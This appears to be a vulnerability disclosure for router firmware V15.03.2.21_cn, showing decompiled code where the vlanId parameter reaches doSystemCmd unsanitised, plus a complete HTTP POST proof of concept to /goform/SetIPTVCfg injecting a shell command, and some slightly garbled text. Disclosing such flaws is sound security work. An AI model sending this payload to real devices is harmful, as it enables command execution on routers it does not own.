

软件升级

当前版本: V15.03.2.21_cn

升级类型: ○本地升级 ● 在线升级

当前版本为最新版本,不需要升级

Figure 1 shows the latest firmware Ba of the router

Vulnerability details

```
memset(v5, 0, sizeof(v5));
memset(v4, 0, sizeof(v4));
v11 = 0;
s1 = (char *)huoqu(a1, (int)"stbEn", (int)"0");
nptr = (char *)huoqu(a1, (int)"igmpEn", (int)"0");
v8 = (char *)huoqu(a1, (int)"vlanId", (int)&unk_D3ED4);
GetValue("adv.iptv.stbpvid", s);
GetValue("iptv.stb.enable", s2);
printf("%s [%d] pvid=%s pvid_bf=%s\n", "formSetVlan", 292, v8, s);
if (strcmp(s1, s2) || strcmp(v8, s))
```

First, it puts the content after the vlanid parameter into V8, Then bring V8 into sub_ A3760 and sub_ In a3550 function

```
int __fastcall sub_A3550(const char *a1, const char *a2)tion Original ...

SetValue((int)"iptv.stb.enable", (int)"1");
  doSystemCmd("nvram set iptv.stb.enable=1");
  SetValue((int)"adv.iptv.stballvlans", (int)a2);
  SetValue((int)"adv.iptv.stbpvid". (int)a1):
  doSystemCmd("nvram set adv.iptv.stballvlans=\"%s\"", a2);
  return doSystemCmd("nvram set adv.iptv.stbpvid=\"%s\"", a1);
}
```

The functions call dosystemcmd, and the parameters are controllable. We can achieve the effect of command injection by constructing payload

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

- 1. Use the fat simulation firmware V15.03.2.21_cn
- 2. Attack with the following POC attacks

```
POST /goform/SetIPTVCfg HTTP/1.1
Host: 192.168.11.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101
Firefox/96.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 51
Origin: http://192.168.11.1
Connection: close
Referer: http://192.168.11.1/iptv.html?random=0.7642888131213508&
Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcmho1qw

stbEn=1&igmpEn=1&vlanId=1"echo 1234 > /tmp/4455 \"\
```

The reproduction results are as follows:

```
/tmp # ls td_acs_auto_bandwidth_log wps_monitor.pid auto.socket td_acs_dbg_svr
/tmp # find / -name *.sh
```

Figure 2 POC attack effect

